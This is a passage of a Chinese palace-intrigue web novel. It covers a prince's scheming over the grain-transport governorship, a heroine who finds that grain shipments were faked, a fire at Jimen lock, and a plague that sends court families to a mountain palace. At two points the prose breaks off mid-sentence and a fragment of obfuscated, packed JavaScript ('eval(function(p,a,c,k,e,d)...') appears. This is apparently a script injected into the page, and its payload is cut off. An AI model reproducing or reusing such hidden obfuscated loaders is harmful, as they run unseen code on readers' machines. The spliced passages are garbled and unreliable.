“可是李安泰还不肯让？” “正是如此。” “此人在漕运总督之位上已有六载，早便该让出位来。叔父可有递呈奏折给父皇？” “此事早已奏明陛下，臣亦为李安泰后续任所拟定数处，皆是江南膏腴之地。可不知为何，陛下转手就将奏折给了赵普，这如若让赵普做主，恐怕今年这漕运总督的位子还是李安泰的。” “如此费尽心机想要留住漕运总督的位子，看来此职位油水不少呀。”鼻尖溢出一声冷笑，刘聿恒摇头道，“漕运总督是赵普的外甥，户部尚书是赵普的门生，看来赵普是想把我们大庆的钱袋子狠狠攥在手里，不肯松呀。” “赵普是先帝为陛下选的托孤大臣，陛下向来对其倚重，想要从赵普的口中将漕运总督这块骨头啃下来恐怕不易，所以我才如此唐突，第一时间来找殿下商议。” “上一次考成之时，他便以‘运河疏浚未尽’轻描淡写就把升迁的旨意挡在了外头，还给自己博得了一个尽职尽责、不好名利的好名声。运河既长，淤塞之事时有发生，就算到了他李安泰魂归之日恐怕尚有疏浚未尽，他还打算吃漕运这碗饭一辈子不成。” “赵普膝下无子，最是看重他这个外甥，虽说未必能做到他李安泰魂归之日，但做到赵普卸宰那日怕是不成问题。”见刘聿恒着急上火，魏瑾便打趣道，“那时候只怕大庆的粮仓都要被搬空喽。” “都到这时候了，叔父竟还有心思开玩笑。“刘聿恒摩挲着指腹，身体的不适让他觉得头昏脑涨，可漕运总督的去留问题却迫在眉睫。 “苦哈哈的又能如何，有了上次的教训，今次我还特意给陛下提供了几个好去处供其选择，可统统没用，最后还是让那赵普选了。”魏瑾 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魏瑾虽然依旧正襟危坐，但他眼神中闪过的惊惧和害怕，却毫不掩饰。 这么多年，赵普受先帝之命辅佐幼主，早已是贪滥僭奢，招权树党，在朝堂上有了一手遮天的能力，虽不至于侵凌皇权，但却未必会将他这个太子放在眼里。 刘聿恒轻笑一声，像是在嘲笑魏瑾，却更像是在笑话自己。 他接过使女为他新做的一盏，茶汤色泽澄亮如琥珀，捧盏一口饮尽，入口醇厚甘洌，余韵带着清馥。 “自然是不能让赵相将这事想到我们头上来，我那个好弟弟不是将西境军粮案结案在了辛起山身上吗？”将茶盏轻放回案桌上，像是在自问自答，“以他的才智定是也难相信这样的大案只一个兵部职方司郎中就可办成，那我们就帮帮他，让他离真相近一些。” 24. 第六章 漕运总督（三） 正德三十五年，腊月二十。 这几日万安城像是被谁拽进了冰窖一般，哈出的白气刚离唇就冻成了冰碴。 今日是“封印日”，官员们在各自的衙门洗印封匣，举行封印仪式以后，都会相伴找个酒楼雅间和同僚聚饮。 和乐楼的雅间早在几日以前便都被订了个精光，王太初大清早就被江音如唤来了和乐楼帮忙，她精明强干、处理楼中之事得心应手，这些时日她倒是像离不开自己的这个女儿了。 前半晌王太初命小厮去各个衙门确认了晚上宴饮的时辰是否有变，晌午过后便在台前整理预约、核对菜单。 “吏部怕是今晚不会过来了，如若有旁人来，便可把那个雅间再给出去。” 王太初整理着手中的菜单，回过身对着身旁怡然自得品着茶的江音如说道。 “我怎么从前就没想到找人早些时候去各个衙门府邸确认一下，也不至于每每在最是挣钱的时候，空着厢房苦等客官。”笑意盈盈地看着眼前利落的王太初，扼腕道，“空着厢房也就算了，还白白多备了那么些许菜，还是我们太初聪明。” “是吧，母亲可是知晓我比我那哥哥有用了吧。”王太初笑着接受称赞，言语间还不忘揶揄一番自己的哥哥。 提起王绍安，江音如也只能是扶额。自己的这个儿子虽帮忙热心，偏生像块没打磨过的石头，认死理认得厉害。在和乐楼帮衬的这些时日，虽未跟人起冲突，但却暗地里得罪了不少客官和供货商，就是楼里的伙计看了这个少东家也只能是绕道走。没有办法，江音如便也只能说是楼里空闲，推了王绍安的一厢热情。 “就你会打趣你哥哥，该打。”江音如轻拍了一下王太初的脑袋，嘴上虽是这么说，脸上却是笑得更甜了。 “敢问东家，楼里今日可是还有空余的位子？” 母女两个嬉笑之间掀帘进来了七八个身着短打棉袄的壮汉，领头的那个将粗布裤扎进沾泥的草鞋，脖颈裹着沾了油污的旧围巾，手背冻得通红，跟富丽堂皇的和乐楼全然不搭。 那是一个大约五十岁的老汉，他怯怯地向前走了几步之后站定，小心翼翼开口问道。 而他身后跟着的那群年轻的小伙子，像是觉察出了自己和这酒楼的不搭，也不敢再走近只能站在门口眼巴巴地看着老汉。 “尚有一间雅间，客官可是要食饭？”跑堂的伙计原本还趴在八仙桌旁打盹，想趁着晚饭时间尚未开始好好休息一番。见有人进了楼，就胡乱擦了一把嘴角的口水，慌慌张张跑了过去。 “是的。”老汉说话的声音极轻，像是有些不好意思，他紧紧攥着手中的一个包袱，面露难色说道，“我和小伙子们都是第一次来万安城，就想着带他们见见世面，早前听岸上万安城的官员都说酣香街的酒楼最是了得，让我们来这里看看。却不料前面跑了好几家酒楼，都说今日客满没有定位便没有位子，我哪里知道这里的规矩，便只能一家一家问。” “大爷您是有福之人，正巧今日别的客官有事我们空出一间雅间。”跑堂的伙计连忙给老汉让出身位，想领着老汉去二楼雅间。 “小伙还有一事。”只见老汉打开手中的包裹，小心翼翼地摸出一个钱袋子，“我现在手里只有这些银子，不知够不够？” 老汉显然是在前面的酒楼里吃了闭门羹，否则也不会一上来就说这银两之事。 “我看看。”伙计接过钱袋子朝里头看了一眼，只有些碎银子躺在其中。他有些不好意思地挠了挠头，这些银子在和乐楼恐怕是连一个菜也吃不起的，可是又不知该如何拒绝，只能看向柜台的方向，向王太初求救。 “都是开门做买卖，一钱银子是做，百十两银子也是做。”她招呼杵在门口的小伙子们进来，亲自将一行人领着朝楼梯口走，边搀扶着老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她招呼沉水来到跟前，压低了嗓音吩咐道：“去雍王府告诉雍王殿下，漕粮根本没来万安，请他速速前往蓟门闸码头。” 25. 第六章 漕运总督（四） 王太初随手在酣香街尾拦了辆驴车去蓟门闸，随着驴车越行越远，眼前的景致也从市井繁华变得越来越荒疏，直到后来连稀疏的屋舍也没了，只有结了薄冰的水沟嵌在田埂边。寒风像刀子似的刮在王太初的脸颊，她出门着急只裹了一件棉披衣再无其他，此刻只能蜷缩在驴车后靠着发抖取暖。 快到蓟门闸时，河风陡然变得咸腥，王太初在远一些的地方就独自下了驴车嘱咐赶车老汉离开，在漆黑的芦苇荡里深一脚浅一脚摸索着前行，枯黄的苇杆擦过衣袖，发出干涩的窸窣声，犹如鬼魅一般。 她告诉自己不要害怕，可越是这样，脑子里却全是那些鬼魅戏文的片段，越想按下不想，偏越像野草似地疯长，王太初捂住自己的耳朵，试图靠着隔绝周遭的声音让自己冷静下来。 凭借着码头微弱的渔火摸索着向前，眼看着就要走出这片芦苇荡时，却不想被人从背后掩住口鼻。王太初大惊失色，竭力挣扎，想要挣脱，脑海中已是脑补了千万种命丧于此的可能，好不容易找到一丝松动，一口咬住对方捂着自己的手掌，可对方却还是不松手。 “是我！”刘聿洵小声唤道，眼见王太初就要挣脱开来，只能从背后一把揽住。 是熟悉的四和香味，王太初冷静了下来回身，看到刘聿洵吃痛地甩着自己的手，压低声音厉声责备道：“你来这里做什么？不要命了？” “漕粮可能从未被运来过万安城。”她不在乎他语气中的责备，只想将自己的猜想尽快告诉他。 “我问你为什么在这里，你不要命了吗？”他的脸上满是厉色，眼神中带着怒气，蹙眉盯着王太初的眼睛。 “我……”她还想辩驳两句，可心底却泛起一丝委屈，她为他处处打听留心军粮一事，得到的却是这般责备，索性也闹起了脾气，“我来赏月不行吗？雍王殿下怕是管不得我吧？” 她神色倨傲地对着刘聿洵，此刻他才赫然注意到她脸上被风吹干的泪痕，只余下浅浅几道白痕，忽觉心中一紧，温声道，“我并非责怪你，只是此事凶险万分，非你一人之力可以解决。” “罢了，说说你是如何发现漕粮并未运抵的吧。”见王太初并未因为自己的柔声细语有丝毫的消气，刘聿洵也只能摇摇头，顺着她方才的话说下去。 “今日和乐楼招待了一群漕夫，其中有一位老汉言说仅凭他一人之力便可搬动一个漕船上的木箱，这件事便是最为可疑之处。其一，殿下可曾见过有人会用木箱运送粮食的，每艘漕船的运力有限，而箱子体重，这样不合算的买卖又有何人会做。其二，就算是有个蠢人真用木箱来运送漕粮，粮食本自沉实，只是一个老汉也不可能凭一人之力就能搬动一个装满粮食的箱子，所以我怀疑漕船之上运送的并非是漕粮而是其他轻便之物，漕粮并未入城，所以无论你如何费劲心力也不可能探得那批根本不存在的军粮。”果然说起正经事来，她便没了先前的计较。 “猜对了七八分，但也不尽是如此，是漕粮并非全数到达万安城。”他指向码头的方向，补充道，“看到那些漕船了没有，有些停靠在岸，有些却停泊在运河中间未靠岸。” “靠岸漕船所载是漕粮，未靠岸的不是。”未等刘聿洵继续说，王太初便猜了出来，“不敢将船靠岸是因为船上的货物还未清空，怕他人上船探得原委。” “没错，不过现在尚且还只是我的猜测，我已让李全胜带人摸黑进去，一会儿就会有答案了。” “如果真如我们所猜测，那便说得通了。运达万安城的漕粮只够维持皇室、政府官员和驻守万安城的军队，他们身处天子脚下那帮人不敢得罪。可西军却不同，他们远在凉州府，路途遥远，漫漫长路中有些意外也是常事。”想到此处王太初便有些气恼，恶狠狠咒骂道，“可他们也不想想，西境的将士吃穿受限，战力减弱，如若西境真被鞑靼所破，万安城哪里还保得住，更何况是他们的富贵。” “呵呵，他们如果都有你这般见识便也做不出此等蠢事。” “可是有一点我还是未想明白，如果只是想贪墨漕粮，他们又何苦费尽心力在万安城演这么一出戏呢？漕粮从越州府经运河到明州府，再从明州府一路向北入万安城，那么长的一段距离，处处皆是危险，样样可做文章，何必多辛起山这样一个环节？” “或许是因为从越州府到万安府这一路的权责都在漕运……” “避免在漕运负责的地方出事，所以他们会不会是漕运的人。”还未等刘聿洵说完，王太初便抢白道，“如果真是漕运中人所为也确实是便利。” “太初姑娘确实是聪慧。”他惊喜地看着眼前的女子，满心满眼都是对她的认可，“姑娘可还有别的发现？” “此人说不定还跟兵部有仇怨，否则也不会决定在押送军粮的途中设下圈套，将这失职之过全扣在兵部的头顶上。”王太初睨之，只觉此时的刘聿洵话中皆是调侃，便也开起了玩笑，“众人皆知殿下跟兵部交好，此事说不定还是冲着你来的，殿下可要好好想想自己究竟是得罪了谁。” “那可就太多了。”他洋洋得意摊手一笑，“万安城内想至我于死地之人数不胜数。” 漆黑的夜色中他的自嘲犹如一声叹息落进王太初的心里，她想告诉他这万安城内也定有人希望他活得自在快活，可想到万安城内自己这样一个无名之辈遭遇的种种，觉得‘自在快活’这样的祝福对一个在权力的漩涡中厮杀的皇子来说也太过奢侈。 风掠过枯苇的缝隙，她没有再开口，远处的野鸭不知是被何动静所惊扑棱棱掠水而去，留下一圈圈荡开的涟漪，倒比他们之间的动静更分明些。 “太初姑娘可是怕了？”想到她前几日面对的刺杀，害怕自己方才的那一席关于生死的话会将她吓退，刘聿洵又开起了他满不在乎的玩笑，“怕我死？还是怕现今万安城内对你我两的误会波及到你？” “自然是担忧我自己。” 要不是黑夜突然被撕开一道口子，刘聿洵也没有机会窥见王太初脸上被满不在乎的语气藏起来的担忧和心疼。 此时码头的方向突然涌起了嘈杂声，有人指着河中央惊叫，两人循声望去，才发现原本停在河心的漕船不知何时燃了起来，火光舔着夜色往上蹿，将天空和水面都映得通红。 “你留在此处不要妄动。”刘聿洵心下惊呼不好，嘱咐完以后直向码头方向而奔。 等靠近码头，只见岸上早已乱成一锅粥。几个船夫跳上泊在岸边的小筏子，直向河心那几艘燃着大火的漕船而去，他听到有人惊呼：“有人落水了，快救人！” 火光映得整个码头犹如白昼，他清晰地看到李全胜在水中冲他摇头。 “船要烧没了，先不要管船，先救人。” 马蹄声骤响，踏碎了码头的混乱喧嚣。一队官兵不知何时已立在堤岸边，玄色披风在夜风中翻卷，腰刀上的寒光映着远处火光。为首者勒住缰绳，高喝一声，只见几个官兵已跃入水中直朝着漕船的方向而去。 刘聿洵闻声回头，心头猛地一沉—那玄色号衣上绣着云龙纹样，分明是京营的兵。此处虽然离陈伯庸的京营不远，可是能那么快赶到这里亦非寻常。 他心头一凛，才知中了圈套，猛地回身，目光重新死死钉在河面上，可此时河面上早已没了李全胜和自己府兵的身影，只有落水的几个漕夫扑腾着呼救。 他向看热闹的人群退了几步想要趁乱转身离开，却不料为首的官兵却叫住了他：“雍王殿下，您怎么会在此处？” 话音未落，为首官兵已翻身下马，大步流星走到刘聿洵跟前，抬手抱拳于胸：“臣下京营队正周显齐参见雍王殿下。” 看热闹的人群里忽然起了一阵骚动，低低的议论声“嗡嗡”地荡开，这样一来今夜他这个雍王殿下无故出现在蓟门闸算是坐实了。 “京营？呵，我竟不知蓟门闸也是京营的管辖范围。”他冷笑一声，语气中有一股心知肚明的了然。 “臣下碰巧巡逻收队路过此处，见蓟门闸火光四起，怕有意外，便带队过来看看。”来人像是早就想好了说辞，脱口而出。 他没有再搭话，只是平静地看着水面，他知道眼下的口舌之争毫无意义，只要李全胜他们能够全身而退，便还有转圜的余地。 双手反剪后背在堤岸前站了一会儿，看着河中落水之人被一个个捞起来，也未见李全胜和自己的府兵，才大概定下了心。 “如何是好，这该如何是好。”原本早该出现在码头的漕军将领此刻却带着酒味姗姗来迟，“是哪个天杀的那么不注意还能让这停在水里的船着起火来，都愣着干嘛救火呀！救火呀！” 来人跌跌撞撞朝着堤岸的方向跑来，人还未至就已听到他骂骂咧咧的声音，来到近处见都围满了人起腿便是一脚，将旁人踹开腾出位子。 “还不快救……”这火字还未来得及出口，视线就撞到人群中那一圈穿着皂衣、腰配长刀的官兵身上，酒意像是被兜头泼了一盆冷水，瞬时退去大半，头脑也清明了几分。 他连忙敛了神色，快步上前，双手抱拳深深作揖，语气里还带着未散的酒气，恭谨地问道：“在下漕军将领陈新良，敢问各位官爷所谓何事？” “陈军爷，也无大事，只是见此处着火便过来看看。”为首周显齐的还是那套说辞。 “定是那些漕夫又在船上生了火，腊月里天干物燥走水也是常有的事，有劳官爷费心了，事后我定会严惩他们。”来者也没了方才喊着救火的急迫，跟随他而来的几个漕兵也都手拿救火之物停在了原地，显然这火现在是救不了了。 “呵，怎么，这火军爷是不救了？”刘聿洵思忖着漕船上定是藏有猫腻，否则怎么会原本还火急火燎嚷着救火之人，见有官兵在旁便消了救火的念头。 “官家的事哪里轮得上你插嘴！”漕船被烧自己定是难免被追责，正 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“雍王殿下，漕船走水，漕粮尽毁，我们身为京营官兵便有戍卫万安城之责。今日在场所有的人都有嫌疑，恕臣不能让你离开。”周显齐跪倒在地拦住了刘聿洵的去路。 “周队正的意思是我放火烧的漕船？” “臣下不敢，只是程序上所有在场之人我都需要盘查一遍。” 周显齐显然是得到了命令要将今夜自己出现在蓟门闸的事情落实才肯罢休，说话之间他身后的官兵形成一道屏障，堵住了刘聿洵所有的去路。 “殿下只说是来瞧个热闹，怎么那么久了还不回来。”队列的背后传来了娇滴滴的女声，众人皆回头向后望去，队列也自觉让出一个空隙。 顺着声音的方向看去，只见王太初从芦苇荡的方向走来，步子轻缓，偶尔抬手将被风吹乱的发丝别到耳后，她一路垂着眼眸，待走过官兵列队到刘聿洵近处才抬眼浅浅一笑，躲到他身后，佯装害怕小声问道：“殿下，可是有何事？” “有我在，自然不会有事。”刘聿洵清了清嗓子，如此这般风情万种的王太初虽然让他吃惊，但他也很快便反应过来了她的用意，他将她藏到身后，开口说道：“今日我同王……汪姑娘来蓟门闸赏月，原不想被外人知晓，可谁想却偏遇到漕船走水之事。既然盘问在场所有人是周队正的职责，我也不好藐视纲纪，只是今夜本王风流之事还请队正莫要记录在册。” 刘聿洵也算是反应迅捷，短短反应时间就能接着王太初的戏往下演。 “臣下……”突然出现的王太初显然是打断了周显齐的布局，刘聿洵刚才短短的几句话已说明了在此处的原因，原本准备的说辞也没了意义。既然只是想要将刘聿洵的出现记录在案，他也考虑过索性跳过这段风流之事不写，可看着周遭已经议论开来的围观者，他知道明日雍王殿下蓟门闸夜会女子的消息定会传遍整个万安城，因为这个世界没有比皇家密辛传地更快的传言了。 他今晚如此费尽心思要的是让世人将刘聿洵的出现和漕船的走水联系在一起，而不是让他风流在外的名声更显赫一些。 他有些不服气，自己苦守了一夜竟是这样一个结果，雍王刘聿洵拈花惹草早已名声在外，前有青梅竹马的西境都督独女周元月，最近还有和通政使王抃独女的谣言，眼下还有月下相伴的汪姑娘，这个汪姑娘又是何方神圣，他侧过身子想探个究竟，却被刘聿洵挡住。 “周队正可不要被好奇心给害死了。”刘聿洵的眼神里满是警告，他将身后之人往自己身边拉了拉，一副疼惜爱护的模样。 “臣下不敢，只是循例，我也需得向汪姑娘询问一二才是。”说着便还要向前走。 “你敢！”盛怒之下，刘聿洵抽出腰间软剑抵在周显齐的喉咙处，“今夜我可以遵循流程配合你调查，我也可以做个荒唐的皇子现在就杀了你，这件事在我，而不在你，你可明白。” 抵在周显齐喉咙处的剑向前挪了一寸，他被逼得往后退了一步险些没有站稳。颈侧肌肤已被剑锋压出浅痕，他看到刘聿洵眼睛里的耐心被一点点磨灭，末了嗤笑一声，满不在乎地耸了耸肩，手腕陡转，剑锋已换了方向，干脆利落地直向自己的腹部而来。 “臣下该死。”千钧一发之际周显齐忙后退一步跪倒在地，额头贴地不敢动弹。 “哼，贪功畏死。”刘聿洵收起软剑，脱下自己的大氅盖到王太初身上，将她上上下下挡了个严实，正准备带着王太初离去。 此时远处万安宫的方向隐约飘来一声钟鸣，沉闷如巨石坠渊。第一声听得还不真切，紧接着，第二声，第三声……一声接着一声，不急不缓，带着穿透骨髓的寒意，一下下敲在人心上。不多不少，整整二十七响，每一声都拖得极长，叠成一片沉闷的哀戚，漫过整个万安城。 “二十七响，是大丧之音。” 26. 第七章 瘟疫肆行（一） 这场瘟疫早在重阳节前后便在凤栖县露出了端倪，起初是几个百姓又烧又咳，以为是换季天冷着了冻，谁都没有在意。可谁知没一段时间，倒下的人越来越多，咳出来的痰都带了血丝。 县令察觉事态严重，便逐级上报，可不知什么原因那道奏疏在腊月才传到了万安府尹的案前。恰逢那是朝堂上最忙碌的时候，府尹也只当是小范围的风寒，没太在意，搁置在案。 谁想这疫病顺着城内外送年礼的队伍，悄悄钻进了皇城，甚至还钻进了东宫要了太子妃的性命。 昨夜丧钟一响皇城内外便乱成了一锅粥，待到王太初回到王府之时府内早已没了王抃的身影。她无法得知此钟为谁而鸣，忧思一夜，也不知何时才累极睡去。直到今日卯时，江音如让她收拾行装出城，她才得知万安城瘟疫横行，太子妃薨逝，太宗皇帝遂决意将未接触病患的朝臣和家眷迁至它山别宫，暂居于此处理政务。这般安排，既为了避开疫区、隔绝病原，护朝臣家眷周全，亦为了保证朝堂政务不致中断。 王太初坐在马车上，昏昏沉沉间，感觉到马车的颠簸愈发剧烈，车身不时撞上路面的碎石，将她晃得几欲作呕。她猜想此刻她们该是远离了万安城，碾过城北那片荒僻的山道，朝着它山别宫驶去。 车厢内一片寂静，人人都是心事重重的样子，只有年纪尚小的绍文还不知发生了何事，在江音如的怀中睡得安稳。 “留绍安一人在城内，我总是觉得心慌。”江音如怀抱着熟睡的绍文，不敢稍动，却又忍不住不由自主地掀帘外望。人总是会在不安的时候做一些无用之功，即使她知道此刻这山道上不会有王绍安的突然出现。 “母亲宽心，大哥哥心有丘壑，我们不必为他烦扰。” 王绍安昨夜就未归家，只是在今早寻人给她们带了口信，说是决意留在万安城中帮衬一二。 王太初了解自己的这个哥哥，虽是一介白衣，却怀有一腔济世之心。此次与其让他同她们一道躲疫于它山，不如让他留在万安城中尽自己微薄之力。可虽是此理，也亦知其志，可瘟疫无眼，能侥幸活下来全凭运气，纵使她嘴上说着宽慰江音如的话，但她心中亦是不安担忧，只能一遍遍在心中祈祷自家哥哥能够万般小心化险为夷，整个万安城能够逢凶化吉。 好不容易一路颠簸到达它山别宫，王太初和朝臣的家眷被安排在宫殿西侧，太宗和朝臣在东侧搭建起了临时的朝廷。 刚下马车她便瞧见太医院的太医们行色匆匆向东侧而去。个个面色蜡黄，想来是一夜未合眼，他们眉宇间凝着化不开的凝重，透露着一股掩盖不住的焦灼。 而整个别宫也尽是药味，连风里都飘着苦涩的气息，压得人心里沉甸甸的。 管事的宫人领着她们到达一处院落，躬身行礼道：“请王夫人见谅，别宫地方有限，只能委屈夫人跟旁人挤一处院落了。另外如果无要紧之事也请夫人尽量呆在院中不要走动，一应吃食膳房都会安排。” “有劳公公费心了。”江音如送走宫人以后便开始整理起了行李。 王太初哄着王绍文呆在院落的花园中，园内角落里，几株腊月梅正顶着寒意开得热闹，只是那清冽的梅香，全被满院的药味盖了去，在寒风里默默敛了声息。 “可真是巧，王姑娘与我同住此院。”听到园中有动静，周元月便从屋内走了出来，却没料还真是不是冤家不聚头，她居然是跟王太初同住一个院落。 她看着园中的王太初眉头微皱，此次它山避疫，都不能带使女长随，原本还想着能有个熟络之人同在一院，却没料来了个“对手”。 “那便有劳周姑娘照顾了。”王太初并不想跟周元月有太多的口舌，只是敷衍一句之后便搀着王绍文准备进屋。 一来太子妃薨逝，生命的无常令其哀叹，二来自己的哥哥，自家的女使伴当都还留在万安城内，身在危险之中，她不想为无甚意思之事在此拌嘴。 “听闻昨夜王姑娘同雍王殿下在蓟门闸码头赏月。”周元月的话语中有着试探，来它山的路途中她便从旁人口中听闻了昨日蓟门闸刘聿洵夜会女子之事，虽说别人口中那女子姓汪，可她却怀疑那人便是王太初。这些年她见识过刘聿洵留恋花丛的荒唐，却从未见过那日在和乐楼前他看向王太初的眼神。 “周姑娘说笑，昨夜我一直呆在府中未有离开，何有分身之术可在蓟门闸码头出现？”王太初看出了她的试探，咬定自己未在现场。 “不是姑娘便好，我只是在想如若姑娘真与殿下暗生情愫，此刻雍王殿下一人留在万安城那凶险之地，岂不是太不顾及王姑娘的感受。”周元月眯着眼睛，看到王太初脸上的神色变了变，像是还不知晓此事，假装吃惊，捂嘴惊呼道：“王姑娘难道不知殿下独留万安之事吗？” 王太初轻轻拍了拍王绍文示意他先进屋，一步步迫近周元月：“万安城内人人都道周姑娘同雍王殿下青梅竹马，一同长大，敢问周姑娘此刻殿下独留万安可算不算不顾及你和他的青梅竹马之情？” 她最是在行以牙还牙，此刻见周元月还没来得及反应，乘胜追击说道：“再说了，殿下身为天潢贵胄，当灾祸临头，自该身先士卒保佑百姓。这既是皇族本分，也是苍生之望。我身为他的友人，虽担忧他的安危，却更应知他的责任抱负，我一介白衣女流尚且识得这些道理，周姑娘身为都督之女更应是比我了解此安民报国之心才是。可为何眼下看着，周姑娘的眼中全是男女之情，却无半点家国之义？” 周元月素来沉稳，善于心计，偏生一遇到王太初就变得鲁莽，毫无城府，她不想承认那是嫉妒，她将这些失控包裹在“嗤之以鼻”的假象下，仿若所有失态都只因为对方不值一提。 “巧言令色。”她低头拍了拍自己空无一物的肩头，转身就向自己的屋子走去，院子里只余下王太初站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“王姑娘，是雍王殿下出事了，贵妃娘娘闻言急火攻心，昏死了过去。此刻吉祥公公正伴在贵妃身边，所以由我来送吃食。”来人压低了声音继续说道，“今早万安城内传信来说，疫气蔓延无度，每日倒毙者愈多，连收尸的仵作都忙不过来。这几日太医院的医官苦心钻研，稍有成效陛下便急遣医官往万安城施救，怎奈疫势依旧汹涌难抑，如今留在此间别宫的医官，拢共也只剩四人了。方才陛下说要再派两人前去，可大臣们却劝说如若没有实效也是于事无补，争执间恰好从万安城传来飞书，说是雍王殿下抱恙……” 王太初并未听到来人后面所言，在听闻刘聿洵出事之时她只觉得自己的脑袋像炸开一般嗡嗡作响，周遭的声响、人影，全成了模糊的虚影。 “你说什么？”要不是周元月突然厉声的喝问，她也差点像曹贵妃那般昏死过去。 “奴才……”来人被周元月的气势吓到，竟不知周元月问的是哪一句。 “你说雍王殿下怎么了？”她一把扯过来人的衣襟，追问道。 “飞书上言……言说殿下抱……抱恙。”说完那宫人一下跪倒在地，忙磕头道，“奴才相信殿下吉人自有天相，定……定能逢凶化吉。” 周元月踉跄着向后退了几步，被王太初扶住才不至于跌倒在地。 此时王太初像是清醒了过来，她将周元月扶到园中的石凳上坐定，扶起仍然跪倒在地的宫人，平静地问道：“今夜的汤药公公是否方便先往我们的院子送？” 27. 第七章 瘟疫肆行（二） 亥时的梆子声刚敲过第二下，夜色浓得像化不开的墨，这些日子江音如总是因为忧心留守在万安城内王府的家眷而难以入睡，好不容易今日跟太医院要了一副助眠的汤药才得以早早睡去。 王太初借着从窗外漫进来的月光，背着自己早已收拾好的包袱，留意听着里间江音如轻柔的鼾声，摸着桌沿往屋外走。 园中的月亮像枚蒙了尘的玉，只漏下几缕清辉，淡得像水墨画里未干的笔痕。院子里黑沉沉的，墙角腊梅的影子在地上歪歪扭扭，一阵风吹过，树枝摇动更是在地上投下了张牙舞抓的影子，如同索人性命的鬼魅一般。 王太初拉了拉自己身上的棉短袄，尽量不让一丝风透过间隙灌进自己的身体里。她在背着的包袱上又打了一个结，才皱着眉头一脚踏进风里。 她早些时候便在围墙的墙根垒好了石块，别宫虽说守卫森严，但多数的兵力都集中在东侧保护皇上，她也打听过西侧的布局，只要翻过围墙，向西再过三个院落便可以翻墙走出别宫。 早时她听闻刘聿洵抱恙之事，便觉得自己无法心安理得地呆在此处。沉水言妈妈可以留在万安城，王绍安可以留在万安城，刘聿洵也可以留在万安城，为何她却要呆在它山之上，她不需要被保护。 王太初正屏气挪着墙根的石块，想垒出个够得着墙头的矮柱，却听到身后传来了周元月冰冷的声音。 “这深更半夜的，你要往哪里去？”她的声音像是淬了冰的石子一般砸进腊月的寂静里。 王太初先是一惊，回头看到举着油灯站在自己屋前的周元月，没有跟她多嘴，回身自己又搬挪起了石块。 “王姑娘，陛下明令禁止让我们好生待在院落里不能外出，你这样漏液出逃，可是死罪。”见王太初不理会自己，周元月一个箭步向前拉住她的手，“你不会不知道吧？” “我知道。”她甩开自己被束缚的手，将眉峰挑得老高，眼里满是轻慢，“那周姑娘对我要回万安城之事，又知不知道呢？你如此阻止我又是为何呢？如若我真因为漏液潜逃被抓住治罪，不是正和了姑娘的心意吗？” 像是被戳中心里所思所想，周元月只能怔住站在原地，夜幕降临前，他看到墙角新垒起的石块，便怀疑王太初有偷溜回万安城的打算。 今日闻言刘聿洵身体有恙，她的心中自是牵挂忧心，她牵挂他的近况，担忧他的安危，可是却从未有一刻起过回万安城的念头。 因为她知道瘟疫面前，从无尊卑，它是无形的判官从不在乎什么金紫朱绿，而她不能，也不想冒这生命之险。 眼见周元月呆愣在原地，王太初也不再管她，只顾着将石头垒得更稳些。好不容易能够到墙头，她用冻得发僵的手指扣住墙缝，借着力道想要攀上墙头之时，却不想一把被周元月拉住，拽了下来，重重摔倒在地。 此刻她的眼中早没了刚才的无措，取而代之的是平日里的周元月，她半抬着眼眸，声音比方才还冷了几分：“王姑娘是觉得我不敢禀明皇上吗？” 王太初冷笑一声，眼中更是多了几分不屑，她低头看了看方才因为被周元月突然拉下而在墙上划破的指尖，放到自己的嘴前轻轻吹了吹，口气中也没了先前的玩笑，“周姑娘现在是恼羞成怒了吗？” 王太初爬起来，走近周元月一把推开，她虽压低了声音，语气却是硬邦邦的，透着一股不容分说的劲儿：“万安城内都说你同雍王殿下两小无猜，情深意切，我也知晓这些时日来你对我的恶意完全是因为他。今日我便可与你说破，此刻我就是担忧他的近况，不想在别宫之中什么都做不了，决意回到万安城与他一起面对疫病，你可敢与我同去？” 像是被人突然揭穿，周元月的脸颊红得像火烧一般，嗫嚅着辩解的话全堵在喉咙里，她只能别过脸去不发一言。 “哼，你自己不敢去，却又偏怕我前去，因为你知道只要我出现在万安城内，你将没有丝毫的胜算。”王太初显然没有想要放过周元月，她字字句句都在扯开她的掩饰，“你惧怕疫病不愿前往，不敢前往，便不要拖拉着将我困在此处。我劝周姑娘你也不要想着告诉陛下，万安城内我和雍王的流言早已经是满天飞，此时你如果大喊大叫让陛下知道，说不定我还能博得一个重情重义的名声。所以现在周姑娘你只有两个选择，一个便是同我一起前去万安城，另一个便是闭上嘴躲在这里。” “你！”周元月哪里受过这般委屈，她回过头正欲反驳，却被王太初抢白。 “不劳周姑娘费口舌，我承认我就是这般巧言令色。” 说罢，也不等周元月反应过来，王太初便踩上石堆，深吸一口气，借着墙缝用力一跃攀上墙头。 她骑在墙头居高临下的看着站在原地的周元月，轻慢地开口：“周元月，你不如我。” 说完，便翻墙而去，除了落地时的那一声轻响，很快就没了动静。 万安城内疫气尚未平歇，刘聿洵坐镇于北城门临时搭建的帐篷内，昨夜他带领巡防营的官兵夜袭那些趁乱生事的宵小之辈，手臂不幸负伤，此刻女使正在为其包扎伤口。 “启禀殿下，蓄意制造混乱的不法之徒已被悉数缉拿归案，此刻正在巡防营接受拷问，相信很快便会有结果。”李全胜从外风尘仆仆而来，近日来抗疫守城他一刻也不敢懈怠，倒是整整瘦了一圈。 “这帮人敢顶着疫病的风险作乱，还组织得有模有样，绝非临时拼凑的乌合之众，让巡防营好好审审，不要放过任何的蛛丝马迹。”刘聿洵亦数日没有合眼，全靠着参汤吊着精神。 “我已嘱咐巡防营严加拷问。” “前日太医送来的药方可有熬煎分发下去给染疫百姓服用？可有疗效？”包扎完以后，刘聿洵边活动着手臂边站起身来。 “昨日均已按照药方熬煮分发下去，可染病者依旧上吐下泻，高热不退，效果甚微。” “亡者数目，可有增加？” “未有减少。” “怎会如此，这么多时日了竟然毫无起色。告诉它山下来的太医们好生钻研，务必寻得克制疫病之法，万不可放弃。”刘聿洵揉了揉眉心，“城内的药材可全乎？” 